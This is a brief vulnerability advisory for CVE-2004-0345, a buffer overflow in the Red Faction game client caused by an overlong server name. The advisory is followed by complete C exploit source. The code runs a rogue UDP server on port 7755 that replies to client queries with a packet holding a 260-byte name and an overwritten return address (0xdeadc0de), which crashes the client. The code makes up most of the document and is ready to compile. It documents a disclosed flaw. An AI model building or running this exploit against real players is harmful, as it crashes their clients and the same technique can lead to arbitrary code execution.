CVE-2004-0345

A remote server can trigger this vulnerability by sending a crafted server name that exceeds the expected buffer size. The Red Faction client, when receiving this long server name, will write beyond the allocated buffer, leading to a buffer overflow. This overflow can be exploited to overwrite critical data, such as the return address on the stack, allowing an attacker to execute arbitrary code [ref_id=1].

The vulnerability lies within the Red Faction client's handling of server names received from remote servers. Specifically, the code constructs a packet containing the server name, and if this name is excessively long, it causes a buffer overflow when processed [ref_id=1].

The provided bundle does not contain information about a patch or specific remediation steps. Therefore, the advisory does not specify how the vulnerability is fixed. Users are advised to consult vendor advisories for the latest information on patches or workarounds.

```c /* by Luigi Auriemma

UNIX & WIN VERSION */

#include <stdio.h> #include <stdlib.h> #include <string.h>

#ifdef WIN32 #include <winsock.h> #include "winerr.h"

#define close closesocket #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #endif

#define VER "0.1" #define BUFFSZ 2048 #define PORT 7755 #define RETADDR "\xde\xc0\xad\xde" // 0xdeadc0de

void std_err(void);

int main(int argc, char *argv[]) { int sd, on = 1, psz; struct sockaddr_in peer; u_char *buff, info[] = "\x00\x01" // packet number "\x00\x00" // packet size - 4 "\x89" // version (x89 = 1.20) "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" // server name (260 bytes) "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" RETADDR "\0" "\x00" // type of game "\x01" // players "\x08" // max players "Relentless\0" // mapname "\x00" // dunno? "\x00"; // password: // 4 = yes, 0 = none

setbuf(stdout, NULL);

fputs("\n" "RedFaction <= 1.20 broadcast clients buffer overflow "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout);

#ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif

peer.sin_addr.s_addr = INADDR_ANY; peer.sin_port = htons(PORT); peer.sin_family = AF_INET; psz = sizeof(peer);

printf("\nBinding UDP port %u\n", PORT);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err();

if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)) < 0) std_err(); if(bind(sd, (struct sockaddr *)&peer, psz) < 0) std_err();

buff = malloc(BUFFSZ); if(!buff) std_err();

*(u_short *)(info + 2) = sizeof(info) - 5;

printf("Return address of clients will be overwritten with 0x%08lx\n", *(u_long *)RETADDR);

fputs("\nClients:\n", stdout); while(1) { if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz) < 0) std_err();

printf("%s:%hu -> ", inet_ntoa(peer.sin_addr), htons(peer.sin_port));

if(sendto(sd, info, sizeof(info) - 1, 0, (struct sockaddr *)&peer, psz) < 0) std_err(); fputs("BOOM\n", stdout); }

close(sd); return(0); }

#ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif

-------------------------------------------------------------------------------------------------- //winerr.h /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */

#include <string.h> #include <errno.h>

void std_err(void) { char *error;

switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } ```